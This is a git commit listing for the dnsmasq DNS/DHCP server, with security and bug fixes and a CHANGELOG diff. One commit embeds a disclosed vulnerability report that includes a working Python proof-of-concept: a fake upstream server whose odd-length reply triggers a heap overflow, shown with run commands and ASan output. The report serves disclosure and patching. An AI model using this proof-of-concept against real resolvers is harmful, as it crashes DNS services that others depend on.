Compare commits

..
48 Commits
Author SHA1 Message Date
DL6ER 10fbc39cf5 Return an empty block from blockdata_alloc() for zero length.
738c049 turned the allocation loop in blockdata_alloc_real() from
do/while into for, so a zero length now returns NULL. find_soa() and
extract_addresses() start the chain for an RR with
blockdata_alloc(NULL, 0) and fill it with blockdata_expand(), so they
now fail on every SOA and every RR that is not an address, e.g., MX,
SRV, or SVCB, and those answers are no longer cached. A zero-length
RR also no longer survives cache_recv_insert().

Allocate one empty block for zero length, as before.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-11-02 20:46:27 +00:00
Mario Madersbacher 2463798e03 Fix checks on TFTP filenames to avoid directory escape.
Commit d152e81 which fixed escape via pathname of the form "file/.."
introduced a new bug in which pathnames of the form "file/..dir/.."
are not caught.

Note that to be a practical attack, a directory with name
"..somename" has to exist the correct place in the tree.
This seems unlikely on most systems, and a it's difficult to see
how an attacker could create such a directory and not already have
the read access that it gives them.

Thanks to Mario Madersbacher for spotting this, and supplying a very
complete report and patch.
2026-10-26 21:46:00 +00:00
DL6ER a570a139d5 Don't add an empty CNAME alias for a space before a comma.
split() replaces the comma with a space and then writes a NUL over
every space before it, so "a.example ,target.example" becomes
"a.example\0\0target.example". The --cname loop steps over one NUL
and the following spaces only, stops on the second NUL and adds an
empty alias, i.e., a CNAME for the root name. A second such entry is
then rejected as "duplicate CNAME".

Step over the NULs, too.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-10-21 22:06:58 +01:00
Simon Kelley 738c049988 Fix OOB heap write in blockdata_read()
A flaw in the blockdata_read() function allows an attacker to overflow
heap buffers. If memory allocation fails whilst reading data from
an IPC pipe, some data is left unread in the pipe. This has the effect of
desynchronising further reads from the pipe and allows an attacker
to overflow a heap buffer.

Note that the attack depends on running the dnsmasq process out of memory
so that calls to malloc() begin to fail. This is difficult to do on
most platforms, unless a small ulimit is set on the size of the
dnsmasq process. This makes practical attacks somewhat difficult.

Thanks to Michel Belleau for finding and characterising this vulnerability.
2026-10-20 23:19:11 +01:00
Simon Kelley 145abca7f6 Fix DNS name buffer overflow.
There are a couple of instances in the DNSSEC validation code where
the code steps along a DNS name to remove some number if left-hand
labels and replace them with * to make a wildcard. The name then
gets passed to to_wire() to translate it in-place to the wire format.

If external parameters dictate that all the labels are removed, and the name
is of exactly the maximum size, then this causes to_wire() to overwrite the
buffer by one byte.

Having created the wildcard, move it to the start of the buffer to avoid
this problem.

Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93011 may apply.
2026-10-20 00:07:34 +01:00
Simon Kelley a627a7847f Fix off-by-one bounds check in DHCPv6 FQDN option.
Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93009 may apply.
2026-10-20 00:07:33 +01:00
Simon Kelley cdbfb97227 Fix logic error in TFTP caching.
The TFTP subsystem prefetches data from disk. If a TFTP transfer
is freed, and a new one allocated the same memory, then previously
prefetched data could be wrongly supplied.

Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93006 may apply.
2026-10-20 00:07:33 +01:00
Simon Kelley 11493fe218 Improve resistance to many simultaneous TCP connections.
Dnsmasq limits the number of simultaneous TCP connections,
to avoid resource-exhaustion attacks. Once the limit if reached,
dnsmasq stops accepting TCP connections from the kernel.

When doing dnssec validation, the same resources are used to
handle internally generated queries with large answers
needed to validate incoming queries which can still arrive via UDP.
If a dnsmasq daemon has reached the limit on incoming
TCP connections then these queries will fail to validate needlessly.

Bump the number of TCP-process resources by 50% when dnssec validation
is enabled, and reserve the extra 50% only for internally-generated
dnssec validation queries. This allows validation to continue even
when dnsmasq is ignoring new TCP requests.

Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93007 may apply.
2026-10-20 00:07:33 +01:00
Simon Kelley 7719737f36 Fix subdomain-test in find_soa()
Do correct subdomain test, rather than a substring match.

Thanks to Lucas Celant <lcelant@redhat.com> for spotting this.

CVE-2026-93008 may apply.
2026-10-20 00:07:33 +01:00
DL6ER 3a3e7a049f Fix the NSEC3 closest encloser check for deeper wildcard answers
`validate_rrset()` returns the start of the closest encloser as an offset
into the owner name, and `prove_non_existence_nsec3()` is meant to stop
its search there. It compares `name - closest_encloser` with that offset,
but `closest_encloser` only moves forward from `name`, so the difference
is never positive and the search never stops at the encloser the RRSIG
labels field gives.

A wildcard answer one label below the closest encloser is not affected,
as the NSEC3 covering the next closer name covers the query name itself.
Two or more labels below, dnsmasq looks for an NSEC3 matching the closest
encloser, which RFC 5155 section 7.2.6 does not require the zone to send,
and returns SERVFAIL with EDE 12 (NSEC Missing). An example is
foo.login.us2.yubico.com, answered from *.us2.yubico.com.

The comparison came with f603a4f ("Fix a corner-case in DNSSEC validation
with wildcards."), which replaced the name compare. Swap the operands.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-10-20 00:05:21 +01:00
DL6ER bc80b93cd1 Answer queued TCP queries after a stale answer
When `tcp_request()` answers from stale cache data, it closes the
connection right away, so that the child process can refresh the name
and exit. A query the client has already sent on that connection is
never read, and its answer is lost.

glibc runs into this: after a truncated UDP reply, it sends the A and
AAAA queries together on one TCP connection, gets EOF after the first
answer and fails the lookup without retrying the second query. In a
test with both answers expired, 7 of 20 such lookups lost the second
answer.

Close the connection only if the client has not sent anything else
yet. Otherwise, refresh the name and go on answering the queries on the
connection, as for any other forwarded query.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-10-19 23:42:29 +01:00
Simon Kelley 03fd0c19ef Clear down SLAAC-name data when a DHCP lease loses its hostname.
If a DHCPv4 lease loses its hostname, then the DHCPv6 name-address mapping
derived from it become invalid and need to be cleared.

Similarly, when a hostname is added to an existing lease, new
SLAAC-name data needs to be generated.

Thanks Martin Vlach (and Claude) for finding a symptom of this in
the SLAAC logging code. This patch fixes that and does the correct
thing more generally.
2026-10-01 20:43:10 +01:00
Martin VlachandClaude Sonnet 5.5 baeb7430e2 Don't bump arrsize in poll_listen() until the realloc has succeeded.
If whine_realloc() fails in poll_listen(), arrsize has already been
doubled while pollfds keeps its old size. The next call then sees
arrsize != nfds, skips the extension and writes past the end of the
array (or through NULL if the very first allocation failed).
poll_reset() only clears nfds, so this sticks around until restart.

Only update arrsize once the reallocation has succeeded.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-01 15:40:31 +01:00
朱耀辉 f90df6c532 Fix heap OOB read in zone_status()
Credit to Yaohui Zhu (朱耀辉) for finding this.

CNVD-C-2026-590208 applies.

Summary

zone_status() (src/dnssec.c:1867 in the 2.93 release; the same
construct is in current git master, 2.93-29-gad92083) computes
&name[name_start-2] in its backtrack loop without checking that
name_start >= 2. When name_start == 1 the loop starts at name[-1]
and dereferences it immediately; the guard (p != name) can never
fire for p < name, so the scan walks backwards through the heap
until it finds a '.' byte or hits an unmapped page. Under ASAN this
is a deterministic heap-buffer-overflow READ; on a plain build the
process dies with SIGSEGV.

A single, ordinary query plus one crafted upstream reply is enough.
My reproducer starts the ASAN binary with --dnssec and the root
trust anchor, with a mock upstream; on the first query the mock
answers with a captured crafted reply (a response carrying RRSIG(46),
NSEC(47) with an empty/root owner name, and NSEC3(50) records in the
authority section) and the process crashes on the first query.
2026-10-01 15:34:53 +01:00
Yuefu Zhou a9880c595f Close listening socket on fatal accept() errors to prevent busy loop
If a TCP listening socket is externally destroyed (e.g., via ss -K,
or a process using NETLINK_SOCK_DIAG/SOCK_DESTROY), accept()
permanently returns -1 with errno == EINVAL because the socket is
no longer in TCP_LISTEN state.  Since poll() keeps reporting the
stale fd as readable, the main loop spins calling
do_tcp_connection() -> accept() indefinitely, consuming 100% CPU.

Distinguish transient errors (EAGAIN, ECONNABORTED, EMFILE, ENFILE,
ENOMEM, ENOBUFS) from fatal ones.  On transient errors just return
and retry on the next poll cycle.  On fatal errors close the tcpfd
and mark it -1 so poll() no longer selects it.

In --bind-dynamic mode the listener will be automatically rebuilt
on the next address change event via newaddress().

Signed-off-by: Yuefu Zhou <yuefu16.zhou@gmail.com>
2026-09-04 22:00:52 +01:00
David Nichols ad9208358e fix --no-dhcpv4-interface also disables RA/DHCPv6 on constructed (constructor:) ranges
--no-dhcpv4-interface=IFACE is documented to disable only DHCPv4 on an interface,
leaving DHCPv6/RA untouched. That's exactly how it's implemented in the option parser
(option.c, LOPT_NO_DHCP4 case): the exclusion entry is tagged INAME_4 only, with INAME_6
explicitly cleared. The two general-purpose exclusion checks that consult this list also
respect the split correctly:

  - dhcp6.c:184-186 (regular DHCPv6 request handling)
  - radv.c:187-189 and radv.c:836-839 (RA sending)

All three do:

    if (tmp->name && (tmp->flags & INAME_6) && wildcard_match(tmp->name, iface))

But construct_worker() in dhcp6.c — the callback used to build a context from a
"constructor:IFACE" template range (dhcp-range=::,constructor:IFACE,ra-only,64,...) —
checks the same list without the flag test:

    src/dhcp6.c, lines 700-702 (2.93; same in 2.90):

        for (tmp = daemon->dhcp_except; tmp; tmp = tmp->next)
          if (tmp->name && wildcard_match(tmp->name, ifrn_name))
            return 1;

Because this only tests tmp->name and ignores tmp->flags, an interface added to
dhcp_except via --no-dhcpv4-interface (INAME_4 only, INAME_6 cleared) is excluded here
regardless — silently killing RA/DHCPv6 on that interface too, contradicting both the
documentation and the behaviour of every other exclusion check in the codebase.
2026-09-02 22:24:54 +01:00
Simon Kelley baf85a8f38 Tune store_name() fix in a9cb3971c6
By only checking the last-allocated block for space, the amount
off unused memory on the system is increased. This patch alters
things so that the 10 last-allocated blocks are checked. This
stil avoids the O(n^2) explosion but should improve memory efficiency.
2026-09-02 21:43:49 +01:00
Pank a9cb3971c6 Fix severe SIGHUP reload slowdown caused by store_name quadratic search
When reloading large hosts files (e.g. 1.7M addn-hosts entries) on SIGHUP,
free_names() previously only reset block->last = 0 without unlinking or
moving blocks to a spare pool. As a result, all existing blocks remained
in hostblocks. When reloading, the head block was filled first and stayed
at the head while full, forcing store_name() to linearly traverse all
previously filled blocks for every subsequent name insertion. This resulted
in O(N^2) complexity, taking ~10 minutes for 1.7M records.

Fix this by introducing nameblock_spare (matching config_spare / big_free
spare pool semantics), moving freed blocks to the spare pool in free_names(),
and restricting store_name() to only check the active head block before
popping from nameblock_spare (or mallocing). This restores O(1) per-entry
insertion and reduces reload time from 10 minutes to ~3 seconds.
2026-09-02 20:58:04 +01:00
DL6ER f031f5b4b3 Don't loop when a DS reply carries no proof of non-existence
A DS query answered with an unsigned NXDOMAIN which contains neither NSEC
nor NSEC3 records leaves `dnssec_validate_reply()` without a proof of
non-existence, so it falls back to `zone_status()` to find out whether the
zone is unsigned. For a DS query, that returns `STAT_NEED_DS` for the very
name whose DS we are resolving. The frec dependency graph then contains a
cycle, the loop detection in `dnssec_validate()` catches it, and the query
ends up `ABANDONED` without any log message explaining why.

Treat this self-referential answer as insecure instead. It carries no
information either way, and the existing handling of insecure DS replies
already makes the right decision about it: unsigned is assumed for RFC-1918
reverse names when `--bogus-priv` is set, and for domains served by a
`--server=/domain/...` directive, everything else stays BOGUS.

This is what breaks reverse lookups when a private range is delegated with
`--rev-server` and DNSSEC is enabled. Validating the answer walks the chain
of trust down to `10.in-addr.arpa`, which is above the delegated zone and
therefore goes to the public upstream, and the public resolvers serve the
RFC 6303 empty reverse zones locally, without any DNSSEC records to prove
that they are unsigned. The existing `--bogus-priv` workaround for exactly
this behavior was never reached because validation was abandoned first.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-20 16:27:33 +01:00
DL6ER cf9c9c74e0 Fix typo in the TCP fork comments.
"is sent by the child has finshed the close" was meant to read
"is sent when the child has finished the close".

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-20 15:52:04 +01:00
DL6ER b518bc425d Define the fork handshake byte unconditionally.
1861a881eb made the declaration of "a"
conditional on HAVE_LINUX_NETWORK, which was right as long as the
read_write() calls sat inside the same #ifdef.

Since 1da5cc2951 the parent blocks on
the pipe and the child writes the byte on every platform, so a build
without HAVE_LINUX_NETWORK now fails with "a undeclared" in both
do_tcp_connection() and swap_to_tcp(). This is easy to hit after
7ebe7ebb93, which gives *BSD a reason
to take that path.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-20 15:47:44 +01:00
Simon Kelley 0c177ad607 Validate the enterprise ID in the DHCPv6 vendor-class parser.
Use atoi_check()to ensure that the enterprise-ID is a valid decimal number.

Inspired by a patch from  DL6ER <dl6er@dl6er.de>
2026-08-17 12:53:51 +01:00
DL6ER 4388c38468 Fix bogus 256-byte DHCPv6 vendor-class option.
lookup_dhcp_len() returns the flag word from the option table, so
since 1af6ee6468 an option carrying
OT_DHCP6_VENDOR yields an opt_len of 0x0100.

--dhcp-option=option6:vendor-class,343 has a purely decimal argument
list and therefore takes the is_dec branch, which comes long before
the new OT_DHCP6_VENDOR branch, and

  if (opt_len != 0)
    new->len = opt_len;

sets new->len to 256. The value is then written by shifting an int by
up to 2040 bits, which is undefined behavior, and a 256-byte
vendor-class option ends up on the wire:

  $ dnsmasq --test --dhcp-option=option6:vendor-class,343
  option.c:1715:23: runtime error: shift exponent 2040 is too large
  for 32-bit type 'int'
  dnsmasq: syntax check OK.

The numeric spelling option6:16,343 takes the same path. Before
1af6ee6 both were rejected, as vendor-class was OT_INTERNAL back then.

Keep the is_dec branch away from OT_DHCP6_VENDOR, so the dedicated
parser runs and reports the missing vendor class instead.

Signed-off-by: DL6ER <dl6er@dl6er.de>
2026-08-16 21:10:45 +01:00
Simon Kelley 0a31ade4db Add man page warning about untrusted data in the environment of DHCP-script.
Thanks to Daniel Birtwhistle for prompting this.
2026-08-15 15:59:57 +01:00
Giuseppe Piscitelli a4ebe438df radv: explicit lease time as a floor for constructed-prefix RA lifetimes.
If upstream gives short lifetimes, local clients using RA for address
leasing can lose address access. This gives the ability to stretch
RAs to reasonable lifetimes.
2026-08-13 16:08:08 +01:00
Simon Kelley 8d8ad76d89 Expand man page for --group
Specifying --group without a value inhibits any change of gid. This
feature has existed since dnsmasq-2.43, released in 2008, but without
documentation, it has been lost to time, even though it's useful
in certain circumstances, mainly to do with containers.

Thanks to Leon Busch-George for his efforts to fix this.
2026-08-09 21:07:21 +01:00
Simon Kelley b50b55e227 Allow enviroment variables in dhcp-script to contain '='
An ancient miss-reading of "man setenv" lead to code which strips
'=' characters from the contents of enviroment variables set
in the dhcp-script. Equals characters are, of course banned in the
_name_ of environment variables, not the _value_.
2026-08-09 17:13:19 +01:00
Simon Kelley 7a663fd46b Don't pass arbitrary characters to DNSMASQ_SUPPLIED_HOSTNAME.
If the hostname supplied by a DHCPv4 client doesn't pass the
test if being an allowed hostname (ie without metacharacters) it
is ignored, but still passed to the environment variable
DNSMASQ_SUPPLIED_HOSTNAME in the dhcp-script.

Change this so that only valid hostnames appear in thos variable,
to avoid security problems with scripts that son't sanitise.

This brings DHCPv4 behaviour in line with DHCPv6.

Thanks to Daniel Birtwhistle for spotting the problem.
2026-08-09 16:23:54 +01:00
Simon Kelley 1f122521bb Make configuration for DHCPv4 options and DHCPv6 options consistent.
Historically, DHCPv4 client options are configured as

dhcp-option=option:ntp-server,....
dhcp-option=42,....

DHCPv6 long ago added

dhcp-option=option6:sntp-server,....
dhcp-option=option6:31,....

This patch adds equivalents of this for DHCPv4

dhcp-option=option4:ntp-server,....
dhcp-option=option4:42,.....

and for good measure

dhcp-option=option:42,.....

and clarifies the man page.

Thanks to Martin-Éric Racine for pointing this out.
2026-07-27 21:02:53 +01:00
Pooyan Khanjankhani 8af20e56ed Fix typos throughout the codebase
Corrected spelling errors in comments and function names:
- recieved/receive -> received/receive
- error_occured -> error_occurred
- prefered -> preferred
- wierd -> weird
- datastuctures -> datastructures
- explictly -> explicitly
- ouptut -> output
- arrising -> arising
- encapulation -> encapsulation
- scrips -> scripts
- adn-hosts -> addn-hosts
- removed repeated 'the the' in three comments

Generated by AI (opencode).
2026-07-17 11:44:38 +01:00
Pooyan Khanjankhani 8aa607d322 Fix typo in man pages --dynamic-host 2026-07-17 11:43:57 +01:00
Pooyan Khanjankhani 52982cfe8f Fix name change of a flag in comments 2026-07-17 11:43:16 +01:00
Pooyan Khanjankhani 81d78d9c75 Fix a typo in man pages 2026-07-17 11:42:36 +01:00
Simon Kelley 7ebe7ebb93 Extend closing the netlink in TCP handler processes to *BSD.
This may not be necessary, as the socket doesn't revieve broadcasts,
but it can't hurt.
2026-07-09 21:45:40 +01:00
Zhou Yuefu 1da5cc2951 Close inherited listening sockets in forked TCP child processes
When dnsmasq forks a child to handle a TCP connection, the child
inherits copies of all listening sockets.  These are never used but
keep the underlying sockets alive in the kernel.  If a network
interface is removed and re-added while a child is running, the
parent's attempt to re-bind fails with EADDRINUSE because the child
still holds a reference.

Close all listener fds (UDP and TCP) in the child immediately after
fork in both do_tcp_connection() and swap_to_tcp().

[Original patch extended by Simon Kelley to include the TFTP listening
socket, and to extend the existing race-protection scheme for the
netlink socket to the listening sockets. Any bugs are my responsibility.]
2026-07-09 16:39:44 +01:00
Simon Kelley 5990261a57 Add CVE-2026-12969 to the record. 2026-07-09 13:08:25 +01:00
Simon Kelley b6b7e5a6fd Fix packet dump code.
The immediate motivation for this is to fix a potential
one byte buffer overflow. The rewrite to fix that resulted in
better code, but no other behavioural changes.

Thanks to Omkhar Arasaratnam for finding the overflow. His
report is below.
------------------------------------------------------------

Summary
-------

When packet dumping is enabled (--dumpfile / --dumpmask), dnsmasq writes one
byte past the end of the upstream-reply receive buffer whenever the reply it is
dumping has an odd byte length. do_dump_packet() pads the buffer for its
checksum computation with:

    if (len & 1)
      ((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */

packet here is the exact-sized receive buffer for the upstream reply, so index
[len] is one byte out of bounds. A malicious or compromised upstream nameserver
(or an on-path attacker able to spoof a UDP reply) that returns an odd-length
answer triggers the overflow on every dumped packet.

Affected code (built HEAD cf08eeee12)
-------------------------------------------------------------------

- Sink: src/dump.c:243 — ((unsigned char *)packet)[len] = 0; in do_dump_packet()
- Reached via: dump_packet_udp() (src/dump.c:120) <- reply_query()
  (src/forward.c:1224) <- check_dns_listeners() <- main().

Class: CWE-787 out-of-bounds write (1 byte). Impact: ASan/hardened-alloc abort
(remote DoS of the resolver) and latent 1-byte heap corruption in release builds.
Precondition: dumpfile/dumpmask enabled.

Reproduction
------------

PoC: poc.py (minimal fake upstream that returns an odd-length, DNS-shaped reply).

    # Build at HEAD with dumpfile support + ASan
    make -j4 CFLAGS="-DHAVE_DUMPFILE -fsanitize=address -g -O1"
    export ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0

    python3 poc.py 2267 &          # odd length; 1497 also fires
    dnsmasq --no-daemon --port=5353 --listen-address=127.0.0.1 --bind-interfaces \
        --no-resolv --no-hosts --server=127.0.0.1#5354 \
        --dumpfile=/tmp/dump.pcap --dumpmask=0xffff
    # forward a query so the odd-length reply is dumped
    dig @127.0.0.1 -p 5353 victim.test +tries=1 +time=3

Evidence
--------

stdout.txt — verbatim ASan report captured 2026-07-02 at built HEAD cf08eeee:
WRITE of size 1 ... 0 bytes to the right of 2267-byte region ... in do_dump_packet
src/dump.c:243:36, ==ABORTING.

Suggested fix
-------------

Do not write into packet[len]; compute the odd-byte checksum contribution from a
local copy of the final byte, or allocate the receive buffer one byte larger for
the dump path. Alternatively pad into a scratch buffer rather than mutating the
received packet in place.

---- PROOF-OF-CONCEPT: poc.py ----
import socket, struct, sys

PORT = 5354
TARGET_LEN = int(sys.argv[1]) if len(sys.argv) > 1 else 2267  # odd

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', PORT))
s.settimeout(8.0)
print(f"[upstream] listening UDP/{PORT}", flush=True)

while True:
    try:
        data, addr = s.recvfrom(8192)
    except socket.timeout:
        print("[upstream] timeout, exiting", flush=True)
        break
    if len(data) < 12:
        continue
    qid = data[:2]
    header = qid + struct.pack('!H', 0x8180) + struct.pack('!H', 1) + struct.pack('!H', 0) * 3
    # echo the question section
    i = 12
    while i < len(data) and data[i] != 0:
        i += 1 + data[i]
    end_q = i + 1 + 4 if i < len(data) else len(data)
    qsec = data[12:end_q]
    body = header + qsec
    pad = TARGET_LEN - len(body)
    body = body + b'\x00' * pad if pad >= 0 else body[:TARGET_LEN]
    s.sendto(body[:TARGET_LEN], addr)
    print(f"[upstream] sent {len(body[:TARGET_LEN])} bytes to {addr}", flush=True)
    break  # one-shot

---- CAPTURED OUTPUT (verbatim from the run) ----
Fresh verbatim capture 2026-07-02. Built HEAD cf08eeee12.
ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0
Only the build-tree prefix has been neutralized to <ROOT>; PIDs, addresses,
offsets, frame symbols, line numbers and shadow bytes are otherwise verbatim.

dnsmasq: started, version UNKNOWN cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-UBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset no-nftset auth no-DNSSEC loop-detect inotify dumpfile
dnsmasq: using nameserver 127.0.0.1#5354
dnsmasq: cleared cache
dnsmasq: dumping packet 1 mask 0x0001
dnsmasq: dumping packet 2 mask 0x0004
=================================================================
==4200==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000001d5b at pc 0x55d1d877eb3e bp 0x7fff30d2ad90 sp 0x7fff30d2ad88
WRITE of size 1 at 0x61d000001d5b thread T0
    #0 0x55d1d877eb3d in do_dump_packet <ROOT>/src/dump.c:243:36
    #1 0x55d1d877dc2d in dump_packet_udp <ROOT>/src/dump.c:120:8
    #2 0x55d1d86f0533 in reply_query <ROOT>/src/forward.c:1224:3
    #3 0x55d1d870d513 in check_dns_listeners <ROOT>/src/dnsmasq.c
    #4 0x55d1d8709945 in main <ROOT>/src/dnsmasq.c:1318:2
    #5 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #6 0x7fe839e29e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #7 0x55d1d85ee6d4 in _start (<ROOT>/src/dnsmasq+0x586d4) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)

0x61d000001d5b is located 0 bytes to the right of 2267-byte region [0x61d000001480,0x61d000001d5b)
allocated by thread T0 here:
    #0 0x55d1d8671708 in __interceptor_calloc (<ROOT>/src/dnsmasq+0xdb708) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)
    #1 0x55d1d86c95ad in safe_malloc <ROOT>/src/util.c:321:15
    #2 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)

SUMMARY: AddressSanitizer: heap-buffer-overflow <ROOT>/src/dump.c:243:36 in do_dump_packet
Shadow bytes around the buggy address:
  0x0c3a7fff8350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fff83a0: 00 00 00 00 00 00 00 00 00 00 00[03]fa fa fa fa
  0x0c3a7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4200==ABORTING

EXIT: ASan ==4200==ABORTING. heap-buffer-overflow WRITE of size 1, 0 bytes to the
right of the 2267-byte upstream-reply receive buffer. The odd-length (2267) reply
from the fake upstream drives do_dump_packet's odd-length checksum pad write at
src/dump.c:243 (`((unsigned char *)packet)[len] = 0;`) one byte past the buffer.
2026-07-06 21:22:04 +01:00
Simon Kelley f8c162b8b0 Fix logic suppressing multiple warnings in bound interfaces. 2026-07-03 22:59:22 +01:00
Simon Kelley c93e9ce592 Don't chown a log file unless it is a regular file.
Thi specifically avoids bad behavior with --log-facility=/dev/null
2026-07-03 22:26:36 +01:00
Simon Kelley bf80262874 Fix file-descriptor leak in TFTP code.
Thanks to Metadust/Hamza (Github: @metadust)
for spotting this.
2026-06-20 18:59:37 +01:00
Simon Kelley ea4645d52c Extend ea9bd30cd4
On further analysis, the problem is deeper: Other
error paths (which are not accessible to an attack) can also
return an incorrect header->id value, and most error paths
return incorrect query case if --do-0x20-encode is in use.
2026-06-14 23:40:52 +01:00
Simon Kelley ea9bd30cd4 Fix information disclosure.
An oversight in commit f9f8d19bf5
leaves a code path where a repeat of a query gets an error reply
which discloses the id field used in interactions with upstream
servers ro get an answer to the query. By triggering this
code path, an attacker can determine the id, which makes Kaminsky
cache poisoning attacks much less expensive and much more certain.

This bug exists in stable releases 2.91, 2.92 2.92rel2 and 2.93

Thanks to Ronen Shustin from Project Atlas, Wiz for finding
this problem.
2026-06-14 23:36:43 +01:00
Luiz Angelo Daros de Luca 1af6ee6468 dhcp6: implement vendor class support
Implement the OT_DHCP6_VENDOR option type to properly handle the
DHCPv6 Vendor Class option (code 16) according to RFC 3315.

Previously, this option was marked as OT_INTERNAL, causing dnsmasq
to fail immediately if configured by name. Bypassing this block by
using the numerical option format (option6:16) caused the payload
to be formatted with an unintended string-length prefix. This broke
compliance because the RFC requires a fixed 4-byte Enterprise ID
at the beginning of the option, followed by data blocks.

This byte misalignment broke features like UEFI HTTP IPv6 Boot

This patch removes the OT_INTERNAL restriction and moves the formatting
logic to the parser phase, correctly assembling the wire-format layout
(4-byte ID + 2-byte chunk length + string) so it can be injected
directly into the network buffer.

Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
2026-06-11 15:29:35 +01:00
Simon Kelley c310853907 Fix double-free in blockdata_expand().
If blockdata_expand() fails, it frees the existing block chain
and returns zero. Each call to blockdata_expand() checks for the zero return,
and calls blockdata_free() as part of its clean-up, resulting in
a double-free and crash.

Thanks to fallrig for finding this.
2026-06-09 22:11:21 +01:00
Matthias Andree 3ff66da573 Fix two typos in v2.93 CHANGELOG 2026-06-04 12:47:22 +01:00
Simon Kelley d823d8e9cd Fix OOB-read crash in get_rdata().
get_rdata() contains another instance of a crash caused by
a false value of RDLEN in a resource-record.

An RR containing name which is longer than the rdlen of the RR can
get get_rdata into a state where it calculates the length of the data
following the name as a negative number which is then promoted
to a very large positive number, and causing SIGSEGV.

This can be triggered by crafted packets from malicous DNS servers,
but only when DNSSEC validation is enabled. The attack packets do not
have to be correctly DNSSEC signed.

Thanks to Tristan G. for spotting this problem.

Also fix error handling for RRs with a fixed size fields in the specification
where the rrsize indicates that there are zero bytes in that position.
2026-06-04 12:47:18 +01:00
Simon Kelley 2c78b6db6c Better code to make human-friendly tokens for pointers in log-malloc.
It turns out that subtracting NULL from a pointer to turn it into
an integer is not a good idea, because subtracting a NULL pointer
is undefined behaviour in C.

The correct way to do this is simply to cast the pointer to
uintptr_t. The only fly in this ointment is that the C standard
does not mandate support for uintptr_t.  In practice, I doubt
anyone is running dnsmasq on the long-dead architectures where
this might be a problem.

Thanks to Matthias Andree for the heads-up.
2026-06-02 13:00:18 +01:00
Simon Kelley 4bf46ceb37 Add the ability to bail before EOF to get_line_alloc();
If we stop reading a file before getting to the end, get_line_alloc()
will not clean up the memory it allocated. Give get_line_alloc()
the ability to do a forced cleanup by calling it with a NULL file,
and use that ability where we stop reading a file early.

Also clear the state variables when we free the memory, to
pre-empt use-after-free.
2026-06-02 00:22:05 +01:00
25 changed files with 722 additions and 420 deletions

No files matched your search

+18 -2
View File
@@ -1,6 +1,22 @@
version 2.94
Record that CVE-2026-12969 has been allocated to the
buffer OOB read in find_soa() which is fixed in git commit
14094e88beca519c53151184cc4553656672b54f, released at 2.93.
Thanks to do litli for spotting this.
Fix erroneous behaviour of --no-dhcpv4-interface with
constructed DHCPv6/RA - DHCPv6 and RA are inhibited by
--no-dhcpv4-interface when using constructed address ranges.
Thanks to David Nichols for discovery, diagnosis and patch.
Fix heap OOB read in zone_status. Thanks to Yaohui Zhu (朱耀辉)
for spotting and reporting this. A crafted reply can crash dnsmasq.
CNVD-C-2026-590208 applies.
version 2.93
Fix a corner-case in DNSSEC validation with wildcards. If we have
a wildcard record *.example.com and recieve a query for
a wildcard record *.example.com and receive a query for
a.example.com then that's OK, but we have to check that there isn't
an actual a.example.com record. The corner case is when we get a
query for *.example.com in that case the non-existence check
@@ -19,7 +35,7 @@ version 2.93
(eg rivcoed.org) will still fail. Thanks to Petr Menšík
for the bug report.
Fix DNSSEC fail with CNAME replies to DS queries. As CNAME reply
Fix DNSSEC fail with CNAME replies to DS queries. A CNAME reply
to a DNSSEC query was confusing the validation logic. It now
accepts a signed CNAME reply to a DS query as proof that no DS
